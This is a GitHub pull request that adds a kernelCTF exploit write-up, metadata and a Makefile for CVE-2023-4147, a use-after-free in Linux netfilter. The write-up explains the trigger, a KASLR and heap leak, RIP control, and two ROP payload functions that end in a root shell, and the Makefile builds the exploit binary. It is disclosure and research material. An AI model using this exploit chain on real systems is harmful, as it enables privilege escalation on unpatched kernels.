-
Notifications
You must be signed in to change notification settings - Fork 405
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add kernelCTF CVE-2023-4147_mitigation #111
base: master
Are you sure you want to change the base?
Changes from 1 commit
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
### Triggering Vulnerability | ||
|
||
`nf_tables_newrule` disallows adding a new rule to the bound chain [1], but when adding a rule with `NFTA_RULE_CHAIN_ID` a rule is added to the bound chain [2]. | ||
|
||
```c | ||
static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info, | ||
const struct nlattr * const nla[]) | ||
{ | ||
... | ||
|
||
table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask, | ||
NETLINK_CB(skb).portid); | ||
if (IS_ERR(table)) { | ||
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]); | ||
return PTR_ERR(table); | ||
} | ||
|
||
if (nla[NFTA_RULE_CHAIN]) { | ||
chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN], | ||
genmask); | ||
if (IS_ERR(chain)) { | ||
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]); | ||
return PTR_ERR(chain); | ||
} | ||
if (nft_chain_is_bound(chain)) // [1] | ||
return -EOPNOTSUPP; | ||
|
||
} else if (nla[NFTA_RULE_CHAIN_ID]) { | ||
chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]); // [2] | ||
if (IS_ERR(chain)) { | ||
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]); | ||
return PTR_ERR(chain); | ||
} | ||
} else { | ||
return -EINVAL; | ||
} | ||
``` | ||
|
||
We can trigger the vulnerability as follows: | ||
|
||
- Create two chains, `Base` and `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. | ||
- Create an anonymous set `Victim`. | ||
- Create a set element in set `Victim`. | ||
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. | ||
- Create a rule `R2` in `Vulnerable` with an `lookup expr` referencing the `Victim`. | ||
- Delete the `R1`. This results in `Victim` being free from the destroy phase [3]. | ||
- Delete the set element in `Victim`. This results in a UAF that references `Victim` that was freed in previous step [4]. | ||
|
||
```c | ||
static void nft_commit_release(struct nft_trans *trans) | ||
{ | ||
switch (trans->msg_type) { | ||
... | ||
case NFT_MSG_DELSET: | ||
nft_set_destroy(&trans->ctx, nft_trans_set(trans)); // [3] | ||
break; | ||
case NFT_MSG_DELSETELEM: | ||
nf_tables_set_elem_destroy(&trans->ctx, | ||
nft_trans_elem_set(trans), // [4] | ||
nft_trans_elem(trans).priv); | ||
break; | ||
... | ||
} | ||
``` | ||
|
||
### Information Leak | ||
|
||
The KASLR address and heap address are leaked through `nft_rule` allocated in `kmalloc-cg-192`. The leak process is as follows: | ||
|
||
- Create four chains, `Base`, `Vulnerable`, `Chain_Victim`, and `Target`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Could you elaborate more please on why do we put those chains in different tables? Could we put them in one? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. There's no particular reason for using three different tables. We can put everything in table1 and it will work, we just need to change the rule_handle value in the exploit.c. |
||
- Create chains `Chain_Victim2_n`. | ||
- Create an anonymous rhash set `Set_Victim`. | ||
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. | ||
|
||
- Create rules `Rule_Victim2_n` in `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-192`. | ||
- Create rules `Rule_Targret_n` in `Target` with an `counter expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`. | ||
- Create rules `Rule_Victim_n` in `Chain_Victim` with an `immediate expr` referencing the `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-256`. | ||
|
||
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. | ||
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. | ||
- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase [3]. | ||
- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step [4]. | ||
|
||
```c | ||
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx, | ||
const struct nft_set *set, void *elem) | ||
{ | ||
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [5] | ||
|
||
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS)) | ||
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [6] | ||
|
||
kfree(elem); | ||
} | ||
``` | ||
|
||
```c | ||
static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set, | ||
void *elem) | ||
{ | ||
return elem + set->ops->elemsize; // [7] | ||
} | ||
``` | ||
|
||
- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [5], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [7]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [6]. This frees `Rule_Victim2_n` in `Chain_Victim2_n`. However, `Chain_Victim2_n` and `Rule_Victim2_n` are remain accessible. | ||
- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`). | ||
- Get fake rule to obtain kbase (`nft_counter_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`). | ||
|
||
### RIP Control | ||
|
||
- Create two chains, `Base`, `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. | ||
- Create an anonymous rbtree set `Set_Victim`. | ||
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. | ||
- Spray fake exprs using `table->udata` in `kmalloc-cg-256`. | ||
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. | ||
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. | ||
- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase. | ||
- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step. | ||
- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [8]. | ||
|
||
```c | ||
static void nf_tables_expr_destroy(const struct nft_ctx *ctx, | ||
struct nft_expr *expr) | ||
{ | ||
const struct nft_expr_type *type = expr->ops->type; | ||
|
||
if (expr->ops->destroy) | ||
expr->ops->destroy(ctx, expr); // [8] | ||
module_put(type->owner); | ||
} | ||
``` | ||
|
||
### Post RIP | ||
|
||
Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `counter_ops` with `fake ops` address. | ||
|
||
```c | ||
void make_payload(uint64_t* data){ | ||
int i = 0; | ||
|
||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = kbase + counter_ops_addr_off; | ||
|
||
data[i++] = kbase + pop_rsi_ret; | ||
data[i++] = heap_addr+0x40; // fake ops | ||
data[i++] = kbase + mov_ptr_rdi_rsi; | ||
data[i++] = kbase + msleep_off; | ||
|
||
data[i++] = 0; | ||
data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret; | ||
data[i++] = 0; | ||
data[i++] = 0; | ||
data[i++] = 8; // ops.size | ||
data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init | ||
} | ||
``` | ||
|
||
Then, when creating `counter expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell. | ||
|
||
```c | ||
void make_payload2(uint64_t* data){ | ||
int i = 0; | ||
|
||
// commit_creds(&init_cred) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = kbase + init_cred_off; | ||
data[i++] = kbase + commit_creds_off; | ||
|
||
// find_task_by_vpid(1) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = 1; | ||
data[i++] = kbase + find_task_by_vpid_off; | ||
|
||
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) | ||
data[i++] = kbase + mov_rdi_rax_ret; | ||
data[i++] = kbase + pop_rsi_ret; | ||
data[i++] = kbase + init_nsproxy_off; | ||
data[i++] = kbase + switch_task_namespaces_off; | ||
|
||
data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; | ||
data[i++] = 0; // rax | ||
data[i++] = 0; // rdx | ||
data[i++] = _user_rip; // user_rip | ||
data[i++] = _user_cs; // user_cs | ||
data[i++] = _user_rflags; // user_rflags | ||
data[i++] = _user_sp; // user_sp | ||
data[i++] = _user_ss; // user_ss | ||
} | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
- Requirements: | ||
- Capabilites: CAP_NET_ADMIN | ||
- Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y | ||
- User namespaces required: Yes | ||
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7 | ||
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211 | ||
- Affected Version: v5.9-rc1 - v6.5-rc3 | ||
- Affected Component: net/netfilter | ||
- Syscall to disable: disallow unprivileged username space | ||
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147 | ||
- Cause: Use-After-Free | ||
- Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system. |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
LIBMNL_DIR = $(realpath ./)/libmnl_build | ||
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build | ||
|
||
LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl | ||
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include | ||
CFLAGS = -static -s | ||
|
||
exploit: | ||
gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) | ||
|
||
prerequisites: libnftnl-build | ||
|
||
libmnl-build : libmnl-download | ||
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install | ||
|
||
libnftnl-build : libmnl-build libnftnl-download | ||
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz | ||
cp rule.c $(LIBNFTNL_DIR)/libnftnl-1.2.5/src/ | ||
cp rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/ | ||
cp libnftnl_rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/libnftnl/rule.h | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install | ||
|
||
libmnl-download : | ||
mkdir $(LIBMNL_DIR) | ||
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 | ||
|
||
libnftnl-download : | ||
mkdir $(LIBNFTNL_DIR) | ||
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz | ||
|
||
run: | ||
./exploit | ||
|
||
clean: | ||
rm -f exploit | ||
rm -rf $(LIBMNL_DIR) | ||
rm -rf $(LIBNFTNL_DIR) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could you elaborate more on how does this happen? What is the call chain, which functions are involved on kernel level? Why is it important to have the operations in batch?
Is this somewhat similar to https://github.com/oferchen/POC-CVE-2023-32233?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
By deleting the lookup expr using vulnerability, we can make similar situation to CVE-2023-32233.
I added some details to the exploit.md.